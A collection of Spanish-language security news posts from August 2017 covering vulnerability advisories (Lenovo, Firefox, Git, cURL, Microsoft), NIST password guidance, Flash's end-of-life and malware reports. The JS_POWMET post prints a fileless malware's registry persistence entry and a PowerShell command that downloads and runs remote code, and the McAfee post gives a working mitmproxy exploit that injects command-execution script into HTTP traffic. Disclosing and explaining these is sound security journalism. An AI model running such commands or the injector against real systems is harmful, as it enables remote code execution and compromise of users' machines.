miércoles, 16 de agosto de 2017

Vulnerabilidades en productos Lenovo

Se han detectado varias vulnerabilidades en diversos productos Lenovo. Los errores, de gravedad alta, se corresponden con saltos de restricciones de seguridad, elevación de privilegios dentro del sistema y/o ejecución de código arbitrario.



Lenovo es un conocido fabricante de ordenadores, tabletas, smartphones, servidores, etc. También provee servicios de soporte y tecnología de información de integración, teniendo incluso servicios de acceso a Internet. La compañía es poseedora desde 2005 de la división de ordenadores IBM, convirtiéndose en uno de los fabricantes de ordenadores más grandes del mundo, teniendo los derechos de marcas tan importantes como Thinkpad, Aptiva o Ideapad.

Los errores se detallan a continuación:

  • CVE-2017-3751: Existe un error al no poner entre comillas determinadas rutas de servicios en el driver del ThinkPad Compact USB Keyboard. Un atacante local autenticado podría valerse de este error para escalar privilegios dentro del sistema y potencialmente ejecutar código arbitrario dentro del sistema a través de entradas de rutas de determinados servicios especialmente manipuladas. Esta vulnerabilidad afecta a versiones anteriores a la 1.5.5.0 .

  • CVE-2017-3752: Existe una vulnerabilidad en la implementación del protocolo de red para encaminamiento “Primer Camino Más Corto” (OSPF) en determinados switches Lenovo. Para explotar esta vulnerabilidad, el atacante tendría que controlar un router o dispositivo que soporte OSPF, de modo que mediante el envío de mensajes OSPF especialmente manipulados podría alterar o incluso borrar tablas de encaminamiento de todos los routers o dispositivos dentro del mismo dominio. Esta vulnerabilidad afecta a los dispositivos y versiones indicados en el siguiente enlace: https://support.lenovo.com/es/es/product_security/len-14078

  • CVE-2017-3753: Esta vulnerabilidad se debe a un error en la UEFI (BIOS) desarrollada por American Megatrends (AMI) e incorporada de serie en muchos dispositivos Lenovo. Un atacante con permisos administrativos o acceso físico al sistema podría ser capaz de ejecutar código arbitrario dentro del sistema saltando restricciones de seguridad tales como Device Guard y Hyper-V. AMI ha proporcionado parches para solucionar esta vulnerabilidad, pero aun así se recomienda seguir las siguientes medidas de seguridad:

o    Habilitar arranque seguro en el sistema.
o    Deshabilitar la consola UEFI en el arranque,
o    Deshabilitar cualquier opción de arranque que no sea el disco duro primario.
o    Establecer una contraseña para la BIOS, para asegurarse de que el arranque seguro y el arranque de la consola UEFI no vuelvan a ser re establecidas.
o    Trabajar como “No” administrador dentro del sistema Windows.
o    Ejecutar código o software de fuentes fiables y conocidas.

Esta vulnerabilidad afecta a un amplio número de dispositivos, para ver el listado completo de dispositivos y versiones afectadas: https://support.lenovo.com/es/es/product_security/len-14695
               

Se recomienda actualizar a versiones superiores en todos los dispositivos vulnerables.

Juan Sánchez


Más información:


ThinkPad Compact USB Keyboard with TrackPoint Driver Unquoted Service Path
https://support.lenovo.com/es/es/product_security/len-15061

Industry-wide OSPF routing vulnerability on Lenovo and IBM Networking Switches
https://support.lenovo.com/es/es/product_security/len-14078

BIOS SMI Handler Input Validation Failures
https://support.lenovo.com/es/es/product_security/len-14695

martes, 15 de agosto de 2017

La respuesta definitiva a la pregunta sobre las contraseñas, la seguridad y todo lo demás

Probablemente, el nombre de Bill Burr no te suene a nadie en particular, a menos que las publicaciones especiales del NIST sean tu nicho favorito de lectura en cuanto a literatura moderna se refiere. Burr es, ni más ni menos, el “culpable” de que cuando te piden un consejo acerca de la elección de contraseñas seguras, le digas al amigo de turno: “larga, no menos de 8 caracteres y sobre todo añade caracteres especiales mezclados con mayúsculas”, para terminar, como diría Bond: “mezclados, no agitados”.

El bueno de Burr ha confesado, desde su retiro como jubilado, que esa recomendación que él mismo escribió de su puño y letra en 2003, no era ni mucho menos la más adecuada. “Me equivoqué”. La entrevista completa fue publicada hace una semana en el Wall Street Journal (paywall). Sin embargo, aunque admite que su contribución hizo más mal que bien, el artículo deja entrever el contexto en el que el entonces analista tuvo que desenvolverse: prisas y presiones por acelerar la publicación de la guía, casi nulo conocimiento práctico en aquella época sobre la gestión de contraseñas, etc.

No hay nada que culpar. La norma ha estado vigente durante años, casi década y media, hasta que el NIST ha actualizado dicha guía el pasado mes de junio, cambiando y desaconsejando este tipo de política de contraseñas. ¿Por qué? Son difíciles de gestionar, debido fundamentalmente a que una contraseña debería ser algo que “sabes”, pero si se genera de manera muy compleja, termina en un post-it; luego se transforma de “algo que sabes” a “algo que tienes”. Dad una vuelta por una oficina y veréis esos papelitos amarillos deseando confesaros la contraseña del WiFi corporativo o el acceso a un escritorio remoto (un clásico cuando desde Auditorías hacemos una visita física).

Otro problema con la guía fue lo rápido que sentó cátedra. No es para menos, una enorme cantidad de normativas, certificaciones de seguridad y políticas de seguridad han seguido letra a letra copiando el mantra de las contraseñas complejas. Una falsa concepción de seguridad que todos (o casi todos) dábamos por sentado que era el camino a seguir. Además, en la guía también se aconseja “renovar la contraseña cada 90 días mínimo”. Esto último solo complica aún más la situación, debido a que una gran mayoría de personas no utiliza un gestor de contraseñas, e incluso aun usándolo hay que ser consciente de que estamos depositando todo el llavero en un único punto de tensión. Si el gestor cae, todo se derrumba.

Un visionario de esta situación (como de tantas otras) fue el conocido ilustrador Randall Munroe, autor de la siempre sagaz tira XKCD. En la número 936 ya nos explicaba el sinsentido de elegir contraseñas complejas versus la simple elección de cuatro palabras elegidas con aleatoriedad. Todo un clásico de la temática, que incluso nos incluye la entropía de Shannon y el tiempo estimado de resistencia al ataque por fuerza bruta. Todo ello explicado de forma gráfica y sencilla.





Entonces ¿Cuál es la forma correcta?

Lo tenemos fácil. Irónicamente debemos seguir la guía del NIST, la nueva versión, y cruzar los dedos para que dentro de unos veinte años no volvamos a leer un nuevo artículo de Paul A. Grassi, uno de los autores de la revisión, diciendo aquello de “…fue un error”.

En primer lugar, la guía pone de manifiesto una de nuestras tantas limitaciones, la incapacidad de memorizar contraseñas complejas. Ante esta situación el ser humano tiende a…hacer el mínimo esfuerzo. Esto es, o elegir una contraseña trivial del tipo “12345” o apuntarlo en un papel (recordad “saber” -> ”tener”). Incluso con las reglas de composición de algunos sitios web, esas que nos hacen inventar dos millones de veces una contraseña hasta aceptar el formulario, la experiencia que se tiene tras los hackeos y volcados de hashes es negativa. La conclusión es que este tipo de contraseña no es tan segura como se pensaba y encima es nefasta para la usabilidad.

En la nueva guía se aconseja que las contraseñas sean razonablemente largas, extensas:

Users should be encouraged to make their passwords as lengthy as they want, within reason.”

Eso sí, no nos están diciendo que nuestra contraseña sea los dos volúmenes completos del Quijote en castellano antiguo. Eso sería computacionalmente ridículo, debido al gasto relativo al cálculo del hash resultante y a que podría ser fácil de adivinar si conocen nuestros habituales para la lectura.

En relación a la complejidad, clarifican muchas de las sospechas que teníamos con la experiencia. Incluso con reglas de composición de contraseñas el usuario (vuelve a) opta por el camino fácil. Por ejemplo, si ha de usar mayúsculas y números pasa de “password” a “Password1” y si tiene que meter signos vuelve a hacer de las suyas con el ya clásico: “Password1!”. Para evitar estas martingalas se recomienda la comparación con una lista negra de contraseñas que no permita pasar tamaños actos de lucidez.

En definitiva, el gran problema de las contraseñas sigue siendo el ilustre usuario, y el reto de la seguridad es aliviar el peso que supone su falta de adiestramiento o ese gran porcentaje de sentidos comunes a estrenar, impecables y sin uso. La contraseña es un reducto del pasado, pero un pasado que aún sigue siendo presente y se niega a ser jubilado. Condenados a vivir con ella, al menos un tiempo más, la nueva norma dicta que más que una excesiva complejidad tomemos una longitud considerable y una buena capacidad para generar ítems aleatorios (palabras, símbolos, …), a ser posible con una distribución uniforme que aleje a la fuerza bruta y las listas de diccionarios muy lejos de la adivinación.

Ahora y por fin, después de tantos años, ya sabemos la respuesta definitiva a la pregunta sobre las contraseñas, la seguridad y todo lo demás: 


“correcto caballo batería grapa”


 David García




 Más información:


The Man Who Wrote Those Password Rules Has a New Tip: N3v$r M1^d!

Digital Identity Guidelines
https://pages.nist.gov/800-63-3/


Password Strength

Entropía

lunes, 14 de agosto de 2017

Vulnerabilidades en Mozilla Firefox

Mozilla ha publicado su boletín número 18 de este año, el cual está calificado como crítico. En total se han corregido 29 vulnerabilidades, de las cuales 5 tienen un impacto crítico,  11 de impacto alto, 7 de impacto moderado  y 6 de bajo.


Vulnerabilidades de impacto crítico

Se corrigen dos vulnerabilidades en la gestión de memoria, una inyección XUL en la herramienta en desarrollo y dos uso de memoria previamente liberada en el WebSocket y en el proceso de reescalado. Todas ellas
podría permitir la ejecución de código.

CVE asociados: CVE-2017-7779, CVE-2017-7780, CVE-2017-7798, CVE-2017-7800 y CVE-2017-7801.


Vulnerabilidades de impacto alto

Se corrigen cuatro vulnerabilidades: una al utilizar memoria previamente liberada durante la gestión del DOM, en el observador de imagen, en el elemento imagen y en el gestor SVG. Además, se corrigen tres desbordamientos de memoria en el atributo ARIA del DOM, en el renderizado del SVG y en el visor de certificados. Finalmente, se corrige dos saltos de restricciones, uno en ‘WindowsDllDetourPatcher’ y otro en las políticas de mismo origen (same-origin), un secuestro de dominio (Domain hijacking) y una lectura fuera de límites.

CVE asociados: CVE-2017-7753, CVE-2017-7784, CVE-2017-7785, CVE-2017-7786, CVE-2017-7787, CVE-2017-7792, CVE-2017-7802, CVE-2017-7804, CVE-2017-7806, CVE-2017-7807 y CVE-2017-7809.


Vulnerabilidades de impacto moderado

Se corrige un spoofing en la navegación con datos, una fuga de información CSP, un error en la reserva de memoria en las protecciones DWP y WindowsDllDetourPatcher, un error al añadir un punto en una curva
elíptica, dos errores en la sandbox y una inyección XUL.

CVE asociados: CVE-2017-7781, CVE-2017-7782, CVE-2017-7791, CVE-2017-7794, CVE-2017-7799, CVE-2017-7803 y CVE-2017-7808.


Vulnerabilidades de impacto bajo

Se corrige un error al procesar el nombre de usuario en la URL, un error de herencia en las directivas CSP en el iframe sbout:srcdoc, un error al activar HSTS, un error de lectura en los reportes de Windows, una gestión de ficheros al gestionar las actualizaciones y una fuga de información en en nombre de algunas cabeceras.

CVE asociados: CVE-2017-7783, CVE-2017-7788, CVE-2017-7789, CVE-2017-7790, CVE-2017-7796 y CVE-2017-7797.

La vulnerabilidades han sido corregidas en la versión 55 del navegador, que puede ser descargada desde la página oficial o a través del propio sistema de actualización de Firefox.


Jose Ignacio Palacios

Más información:
Mozilla Foundation Security Advisory 2017-18
https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/

domingo, 13 de agosto de 2017

Ejecución de código arbitrario en Git






Se ha hecho público un fallo en el sistema de versiones Git que podría permitir la ejecución de código arbitrario en la máquina de la víctima y al cual se le ha asignado el identificador CVE-2017-1000117.

Los sistemas de control de versiones son herramientas desarrolladas para el seguimiento de un proyecto o aplicación. Herramientas sumamente importantes y utilizadas en cualquier desarrollo.

La vulnerabilidad no solo afecta al control de versiones Git, sino también están afectados los sistemas de control de versiones Mercurial y Subversion. Aunque el error es similar, los identificadores de la vulnerabilidades son distintos, siendo CVE-2017-9800 para Subversion y CVE-2017-1000116 para Mercurial.

El fallo es provocado por un error en el procesado de los comandos “ssh://“, el cual puede ser explotado si un repositorio remoto envía una URL especialmente manipulada a la víctima cuando esta ejecuta un comando
clone“, permitiendo la ejecución de cualquier programa existente en la máquina de la víctima.

Pero esto no acaba aquí: esta URL podría ser colocada en el fichero “.gitmodules“ del proyecto clonado para así conseguir tener la máquina infectada y que esta vulnerabilidad se ejecute de nuevo al invocar un comando “git clone --recurse-submodules

La vulnerabilidad en Git ha sido corregidas en las últimas versiones publicadas.


Jose Ignacio Palacios

Más información:
The Recurity Lablog
http://blog.recurity-labs.com/2017-08-10/scm-vulns

The Mail Archive
https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg1466490.html

sábado, 12 de agosto de 2017

cURL y libcurl afectados por varias vulnerabilidades

Se ha publicado una nueva versión de la librería libcurl y de la propia herramienta curl, para corregir 3 vulnerabilidades que podrían permitir a un atacante local o remoto obtener información sensible o causar una denegación de servicio


cURL es un cliente de transferencia de archivos multiprotocolo que también tiene una versión en formato librería (libcurl) para poder ser integrado en productos de terceros. Es una de las herramientas de referencia en su ámbito, y es utilizada por millones de usuarios en diversos sistemas operativos, utilidades y aplicaciones webs. En su página web aparece una lista incompleta de los productos comerciales que usan libcurl.

Son tres las vulnerabilidades que se han corregido en esta nueva versión:

  • La vulnerabilidad identificada como CVE-2017-1000101, afecta únicamente a la versión de línea de comandos (no a la librería). Básicamente es un error al parsear una URL con formato incorrecto, que podría permitir la lectura de una pequeña cantidad de memoria del proceso (o al menos, detener el proceso). El escenario de ataque más claro es un atacante local que introduce una URL especialmente manipulada en una aplicación que usa libcurl
  • Otra vulnerabilidad, ésta identificada como CVE-2017-1000099afecta a ambas versiones, línea de comandos y libcurl. El error se produce por utilizar por error un trozo de memoria no inicializado cuando se realiza una petición a una URL con protocolo file:// (archivos locales), lo que confunde al programa y puede terminar devolviendo al usuario un trozo extra inesperado de memoria dinámica en una pseudo-cabecera HTTP (cURL devuelve los metadatos del archivo como cabeceras HTTP). El escenario de ataque sería muy similar al de la vulnerabilidad comentada anteriormente.
  • Y finalmente, el CVE-2017-1000100 también afecta a ambas versiones, línea de comandos y libcurl. Este error sí que tiene bastante más peligro, y recuerda un poco a Heartbleed, aunque en este caso sería revelación de información del cliente hacia el servidor, y no al contrario. El problema es que las URL's con protocolo TFTP que son demasiado largas son truncadas por cURL cuando se almacenan en memoria, pero cURL usa la longitud previa al truncamiento cuando quiere transmitir información al servidor. Por lo que termina saliendo de los límites de memoria asignado y envía más de lo debido. Debido a la estructura de memoria dinámica no se puede saber qué hay exactamente después, pero podría ser cualquier cosa. El ataque más simple sería, ante una petición al servidor maligno, que éste redirigiese a una URL especialmente manipulada con protocolo TFTP apuntando al mismo servidor (para recoger la memoria filtrada).

La nueva versión publicada es la 7.55.0, no es una versión publicada expresamente para corregir vulnerabilidades (es decir, resuelve otros fallos no relacionados con la seguridad y añade nuevas funcionalidades), y está disponible desde https://curl.haxx.se/download.html. También se han publicado parches individuales para solucionar los diferentes fallos de seguridad.


Carlos Ledesma

viernes, 11 de agosto de 2017

Comprometidas dos populares extensiones de Google Chrome

El equipo de seguridad de Google ha enviado advertencias a través de e-mail a los desarrolladores de extensiones de Chrome después de que muchos de estos fuesen objetivos de ataques de phishing. Algunos de estos ataques consiguieron su objetivo y permitieron el robo de algunas extensiones.

Estos ataques tuvieron lugar la semana pasada, cuando las cuentas de los desarrolladores de las extensiones CopyFish (80.000 usuarios) y Web Developer (100.000) se vieron comprometidas. Los atacantes aprovecharon para insertar código malicioso de adware en la extensión. De esta manera consiguieron ingresos a través de todos los usuarios que las tuvieran instaladas. 

Estos ataques llevan cerca de dos meses produciéndose sin que hasta la fecha nadie se haya percatado. El phishing en cuestión se hace pasar por una cuenta oficial de Google, informando a los desarrolladores de una supuesta violación de los terminos de servicio de Chrome Web Store. Es entonces cuando las víctimas accedian a un sitio falso que solicitaba el login a una cuenta de Google. 

Phishing email
Captura de los e-mails de phishing. Fuente: www.bleepingcomputer.com

Los avances en la investigación indican que los dominios utilizados para robar la información de estas dos extensiones son los mismos, y el e-mail prácticamente idéntico, lo que apunta a un actor común en ambos ataques. La misma estrategia fue probada de nuevo en agosto, pero esta vez Google Safe Browsing bloqueó estos enlaces fraudulentos. 

Tras el secuestro de las extensiones, Google envió un e-mail a todos los desarrolladores informando de la situación e indicando las instrucciones para reportar futuros casos similares. 

Google email warning
Captura del e-mail de alerta de Google. Fuente: bleepingcomputer.com


Fernando Díaz
fdiaz@hispasec.com

Más información

Chrome Extension Developers Under a Barrage of Phishing Attacks


jueves, 10 de agosto de 2017

Microsoft soluciona 48 vulnerabilidades en sus boletines de agosto

Esta vez, son un total de 48 vulnerabilidades las solucionadas por Microsoft, de entre las cuales 25 son consideradas críticas, repartidas entre 6 productos: Windows en sus diferentes versiones, Internet Explorer, Edge, SharePoint y SQL Server y finalmente Adobe Flash Player que sin ser producto de Microsoft ya es un habitual en sus boletines.

Entre las vulnerabilidades encontradas destaca la identificada como CVE-2017-8620. Descubierta por Nicolas Joly de MSRC, este fallo está presente en todas las versiones de Windows con soporte (desde Windows 7 a Windows Server 2016) y permite la ejecución remota de código arbitrario a través del servicio Windows Search.


La vulnerabilidad es especialmente crítica teniendo en cuenta que este servicio es accesible desde varios componentes del sistema, entre ellas el menú de Inicio y el navegador de ficheros. Además, según los comentarios finales del reporte:
Additionally, in an enterprise scenario, a remote unauthenticated attacker could remotely trigger the vulnerability through an SMB connection and then take control of a target computer.
Es decir: sería posible para un atacante remoto no autenticado explotar la vulnerabilidad a través de conexiones SMB. Por este motivo, este fallo es señalado por varios expertos como el de mayor prioridad a la hora de parchear.

Precisamente, esta vulnerabilidad junto con CVE-2017-8627 y CVE-2017-8633 son las únicas que han sido reveladas antes de que se publicara el boletín, aunque en el mismo Microsoft afirma que no se conocen casos de explotación hasta el momento.

Finalmente, un breve repaso al resto de las vulnerabilidades:

  • Dos de los problemas afectan al Subsistema de Windows para Linux, siendo el más crítico el identificado como CVE-2017-8622, cuyo impacto es elevación de privilegios.
  • Un total de 19 vulnerabilidades afectan a Microsoft Scripting Engine, siendo 17 de ellas corrupciones de memoria.
  • Los navegadores también reciben actualizaciones: Explorer (4) y Edge (7), siendo solo 2 de ellas críticas.
  • En el boletín se incluyen las vulnerabilidades CVE-2017-3085 y CVE-2017-3106 de Adobe Flash, que podrían permitir la ejecución remota de código.
  • Corregidas 2 vulnerabilidades en Windows HyperV, una de ellas permitiendo la ejecución remota de código
  • Se corrige una vulnerabilidad XSS en Microsoft Sharepoint.

Especialmente útil cuando se tratan de reportes tan extensos (el boletín consta de 121 entradas este mes) es este script en PowerShell creado por John Lambert, empleado de Microsoft, que organiza el boletín por CVEs de forma más clara.

Francisco López

Más información:

August 2017 Security Updates

miércoles, 9 de agosto de 2017

Navegadores inseguros. Los tiempos están cambiando.

Hace unos días nos llegó la noticia de la propia Adobe: Flash se acaba en 2020. Listo. Fin de una era. Aunque en su nota de prensa no mencionan ni de pasada las 1033 vulnerabilidades de seguridad (casi todas de máxima gravedad) que salen en una búsqueda rápida, Adobe alega únicamente un cambio de rumbo en la tecnología hacia estándares más abiertos, tales como HTML5 y WebGL.

Lo de Flash era una muerte anunciada. No podía ser de otro modo. Arrinconado por las vulnerabilidades, autentica puerta de entrada de toda clase de malware, y denostado por los buscadores, Flash fue reduciendo su masa de usuarios, desarrolladores y navegadores que lo soportan. Es incontable la cantidad de exploits que usan Flash como vector de explotación (junto con Adobe PDF Reader o Java, el tridente de la inseguridad). Es tal el ritmo de aparición de CVE sobre Flash que hasta dejaron de ser noticia.

Aunque Adobe fija su fin en 2020, todavía nos quedarán los rescoldos de una larga batalla por la expulsión de Flash del campo de juego del navegador. Engaños a usuarios desprevenidos (“pinche aquí amigo, instálese la última versión de Flash”, “Ah, ¿pero no había desaparecido?”, “pinche aquí amigo”, “vale, vale, pincho”) o navegadores sin actualizar. Sorprende que incluso con la política de actualizaciones automáticas todavía hay usuarios que no reinician el navegador para aplicarlas. Eso nos deja una pequeña rendija abierta en la ventana de exposición.

Flash no se queda solo. Los lectores de PDF incrustados en el navegador van siendo desplazados por el propio lector hecho en Javascript (no es broma, hecho en puro Javascript). Esto permite cerrar la vía a esos auténticos monstruos salidos de la mente de un escritor pasado de absenta que son los complementos nativos, auténticos quebraderos de cabeza de la navegación segura.

Otro que va borrando su mala impronta es Java. Hace tiempo que fue noticia su práctico baneo por los principales navegadores, y su uso generalista se ve marginado a ciertas aplicaciones obsoletas y sin mantenimiento, por ejemplo, algunas webs gubernamentales en las que te exigen “INTERNET EXPLORER 5.5 o superior / Java RunTime Environment Sun Versión 1.4.2. o superior” (la cita es textual, de la página de un Ministerio). Quién ha instalado una máquina virtual con un Windows 2000 y Java 1.4 obsoletos para firmar digitalmente sabe de qué se está hablando. Ahora esa misma firma electrónica se efectúa en, sorpresa, Javascript.

¿Nos quedamos aquí?

Para nada. Si miramos las propias implementaciones de Javascript (o el propio Java) vemos otros de los grandes culpables de hacer saltar por los aires a los navegadores: C y C++. Estos lenguajes de programación fueron diseñados hace décadas, cuando la gente ni sospechaba de lejos la fiesta que podía armarte un simple memcpy con un inocente búfer y una cadena de entrada procedente de usuario. Eso y la falta (necesaria) de un recolector de basura, hacía que la gestión de memoria fuera un desastre en manos de gente sin experiencia, con prisas o con las dos mencionadas condiciones a la vez.

C++ es un lenguaje complejo, muy complejo. Tanto que los propios expertos reconocen que es imposible aprender completamente cada una de sus características, o que es casi imposible crear un intérprete (parser) de la gramática completa (ver pag. 147). Aunque las nuevas versiones del estándar han reducido enormemente la capacidad de crear errores en la gestión de memoria, gracias a los punteros “inteligentes” (shared_ptr, unique_ptr, (ojo, no auto_ptr)), el daño ya está hecho. Además, incluso con estas mejoras, es complicado encontrar desarrolladores con un buen nivel en este lenguaje.

Vemos un comienzo en la evolución en este campo: nuevos lenguajes de programación, adaptados a los requisitos de seguridad y amigables para atraer nuevos programadores. Desde la propia Mozilla, han diseñado un lenguaje que permite obtener buenos tiempos de ejecución sin necesidad de gestión manual de la memoria: Rust. Este lenguaje les ha permitido reemplazar componentes de Firefox que anteriormente estaban hechos en C++ a otros en Rust, como por ejemplo Servo o Quantum. Es previsible que de manera progresiva se vayan adaptando más partes a este nuevo lenguaje si les acompañan los buenos resultados en rendimiento y desarrollo.

Como vemos, no hay nada escrito en piedra. Poco a poco se vencen antiguos paradigmas, modelos obsoletos y se cierran viejas heridas. Naturalmente, no vamos a dejar de ver exploits. Tan pronto como las antiguas técnicas dejen de ser efectivas se investigarán otras que den resultados similares. Además, y lo más importante, aunque reduzcamos la superficie de ataque, cerremos la ventana de exposición y creemos nuevos lenguajes más seguros, jamás podremos eliminar el componente más vulnerable de todo el sistema: el usuario. 


David García
dgarcia@hispasec.com


Más información:

flash & the future of interactive content

Navegadores inseguros







martes, 8 de agosto de 2017

Lobos con piel de cordero: no te fíes de un fichero por su icono

Un fallo detectado a la hora de procesar determinado tipo de iconos en Windows permitiría simular documentos benignos para albergar malware y engañar al usuario.


Un reciente estudio de la firma de seguridad Cybereason ha revelado un fallo a la hora de procesar determinados formatos de icono que, usado junto a un problema con la caché de iconos de Windows, permitiría a cualquier PE (Portable Ejectutable) modificar la representación de su icono de programa para simular un documento benigno o cualquier otro icono de sistema.

La técnica parece haber sido utilizado por variantes del ransomware “Cerber” entre otros, y técnicamente se basa en un fallo de los sistemas Windows a la hora de manejar iconos en formato “True Monochrome”. En vez de cargar el icono original presente dentro del ejecutable, el sistema carga un representación totalmente diferente basándose en la caché de Iconos de Windows, como se puede ver en el vídeo ilustrativo:





El fallo reportado a Microsoft, estaría presente en la clase 'CImageList' de la librería comctl32.dll afectando a todas las versiones de Windows desde la 7 hasta la presente Windows 10.

Como medida general de protección, recordamos activar siempre la opción de mostrar la extensión de fichero en el explorador de Windows.

Más información:

A zebra in sheep’s clothing: How a Microsoft icon-display bug in Windows allows attackers to masquerade PE files with special icons
https://www.cybereason.com/labs-a-zebra-in-sheeps-clothing-how-a-microsoft-icon-display-bug-in-windows-allows-attackers-to-masquerade-pe-files-with-special-icons/


Cybereason discovers Windows icon display bug allowing attackers to masquerade files
https://www.youtube.com/watch?v=cF3sw80oBjY


José Mesa

lunes, 7 de agosto de 2017

JS_POWMET: Malware sin malware

El pasado 24 de julio el equipo de Trend Micro anunciaba la detección de JS_POWMET, un malware completamente "fileless" que realiza toda su actividad desde la memoria, sin escribir ni dejar rastro en el disco duro de la víctima.


¿Qué es el malware "fileless"?

Fileless malware, o malware sin ficheros, es un tipo de malware que se instala y se ejecuta en memoria. No necesita escribir ningún dato en el disco duro de la víctima para ejecutar su payload, lo que dificulta enormemente su detección.

Este tipo de familias se conocen como "Advanced Volatile Threats (AVT)" y suelen estar orientadas al robo de información valiosa y propiedad intelectual de empresas, bancos y gobiernos.

Antecedentes

Este concepto de malware "sin ficheros" no es nuevo. De hecho el primer "fileless malware" data de 1987: conocido como Lehigh, infectaba el fichero COMMAND.COM y se instalaba en la memoria. Desde allí buscaba otros ficheros COMMAND.COM y los infectaba. Cuando había realizado cuatro infecciones sobreescribía el sector de arranque y la tabla de asignación de archivos.

La mayoría de esta clase de virus terminan realizando algún tipo de escritura en disco cuando ejecutan su payload. Son sólo "fileless" durante la fase de infección.

JS_POWMET sin embargo no realiza ninguna escritura durante su ciclo de vida, lo que lo hace particularmente interesante.

Cómo funciona JS_POWMET

El virus llega al sistema a través de un malware intermedio que añade una entrada al registro de arranque de Windows:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
COM+ = “regsvr32 /s /n /u /i:{URL al XML malicioso} scrobj.dll”


Este comando ejecutará cada vez que se inicie la máquina un Javascript malicioso contenido en un XML remoto, sin necesidad de guardarlo en el disco duro.

Una vez ejecutado, JS_POWMET descargará el fichero "TROJ_PSINJECT", un script para Powershell que descargará y desencriptará otro fichero: "favicon" desde la URL https://bogerando.ru/favicon.


%System%\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -noexit -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }; iex ((New-Object System.Net.WebClient).DownloadString('https://{BLOCKED}ndo.ru/p1'));


Una vez descifrado, el fichero "favicon" se inyectará por medio de "ReflectivePELoader" en el proceso "TROJ_PSINJECT", todo esto sin guardar ningún fichero al disco duro.

A continuación el malware volverá a descifrar el fichero "favicon" utilizando una clave RC4 hardcodeada en el código del virus. Esto da lugar a una nueva DLL maliciosa, "BKDR_ANDROM" que se inyectará en el proceso que ejecuta Powershell.

BKDR_ANDROM recopilará información sensible sobre el sistema y la enviará al C&C antes de cerrar todos los procesos powershell.exe y borrar todo rastro del virus.

Contramedidas

Como contramedidas se propone utilizar sistemas basados en contenedores en los puntos más críticos de la red.

Más información

A Look at JS_POWMET, a Completely Fileless Malware
http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

JS_POWMET.DE

domingo, 6 de agosto de 2017

Ejecución remota de comandos en McAfee Security Scan Plus

Una vulnerabilidad en McAfee Security Scan Plus podría permitir la ejecución de cualquier ejecutable residente con los privilegios del usuario del sistema.

McAfee Security Scan Plus es una herramienta de diagnóstico gratuita que permite comprobar el estado de la protección del equipo, determinando si existen soluciones antivirus, cortafuegos y seguridad Web instaladas,
activas y actualizadas, y también analiza las amenazas en cualquier programa abierto.

McAfee Security Scan Plus obtiene información promocional procedente de diferentes dominios ‘mcafee.com’ y la muestra en la interfaz de usuario, normalmente en la ventana principal de la aplicación.




La vulnerabilidad, a la que se le ha asignado el identificador CVE-2017-3897, está causada por los siguientes factores:

  • La información se obtiene a través de HTTP en texto plano, por lo que podría ser modificada por un atacante remoto.
  • La aplicación McAfee Security Scan Plus confía en la librería ‘MCBRWSR2.DLL’ para mostrar contenido HTML. Esta librería expone la función javascript ‘LaunchApplication()’ que permite ejecutar comandos arbitrarios en el sistema. El siguiente ejemplo ejecutaría la calculadora de Windows (‘calc.exe’):

<script>window.external.LaunchApplication(“c:\\windows\\system32\\calc.exe”,
“”);</script>


Después de cada análisis del sistema, McAfee Security Scan Plus descarga un elemento que indica el nivel de protección. Aunque la respuesta original redirecciona a una URL HTTPs segura y los certificados de servidor son verificados por el cliente, sería posible a través de un ataque Man-in-the-Middle reemplazar este mensaje con una respuesta que contenga una llamada a la función ‘LaunchApplication()’. Esto permitiría ejecutar comandos con los permisos del usuario actual. Esta solicitud se realiza en cada análisis: tanto si es iniciado iniciado por el usuario
como de forma automática (por defecto se ejecuta semanalmente).

Existe una prueba de concepto escrita en python para esta vulnerabilidad:

#!/usr/bin/env python3
#
# HTTP proxy mode:
# mitmproxy -s mcsploit_inline.py --ignore '.*'
#
# Transparent proxy mode:
# mitmproxy -s mcsploit_inline.py -T
#

from mitmproxy import ctx, http
import requests
import time

COMMAND="c:\\\\windows\\\\system32\\\\calc.exe"
CMDARGS=""

def response(flow):
    if flow.request.scheme == "http" and
(flow.request.headers['host'].endswith("mcafee.com") or "mcafee" in
flow.request.url):
        if flow.response.status_code == 302:
            ctx.log("[+] [MCSPLOIT] Insecure McAfee request found! (HTML)")
            https_url=flow.request.url.replace("http://","https://")

r=requests.get(https_url,headers=flow.request.headers,verify=False)
            if "text/html" not in r.headers['content-type']: return
            contents=r.text

contents=contents.replace("</head>","<script>try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var
x;}</script></head>" % (COMMAND, CMDARGS))
            flow.response =
http.HTTPResponse.make(200,bytes(contents,encoding="utf-8"),{"Content-Type":
"text/html; charset=utf-8","Expires":"-1"})
            return
        try:
            if flow.response.headers["content-type"] == "text/javascript":
                ctx.log("[+] [MCSPLOIT] Insecure McAfee request found!
(JS)")

inject="try{window.external.LaunchApplication(\"%s\",\"%s\");}catch(launchapperr){var
x;}\n" % (COMMAND, CMDARGS)
                try:
                    flow.response.contents = inject + flow.response.contents
                except AttributeError:
                    ctx.log("[-] [MCSPLOIT] No content in the original
response!")
                    pass
        except KeyError:
            pass



McAfee Security Scan Plus puede ser descargado gratuitamente desde la página oficial de McAfee, pero también se distribuye junto a software de terceros, como una opción adicional -marcada por defecto- durante el proceso de instalación de dichos programas. Un ejemplo de esto es el plugin de Adobe Flash Player para los navegadores web (https://get.adobe.com/es/flashplayer/).






Esto significa que podrían existir equipos que cuenten con McAfee Security Scan Plus instalado sin que el usuario tenga conocimiento de ello (la instación está activada por defecto), lo que supondría un mayor riesgo para estos sistemas si no se actualizan para corregir el fallo de seguridad.

En el sitio oficial se encuentra disponible para su descarga la versión de McAfee Security Scan Plus 3.11.587.1 que corrige esta vulnerabilidad.

Más información:McAfee Security Scan Plus
https://home.mcafee.com/downloads/free-virus-scan

McAfee Security Scan Plus update fixes a potential man-in-the-middle
vulnerability (CVE-2017-3897)
https://service.mcafee.com/webcenter/portal/cp/home/articleview?articleId=TS102714

SSD Advisory – McAfee Security Scan Plus Remote Command Execution
https://blogs.securiteam.com/index.php/archives/3350

Juan José Ruíz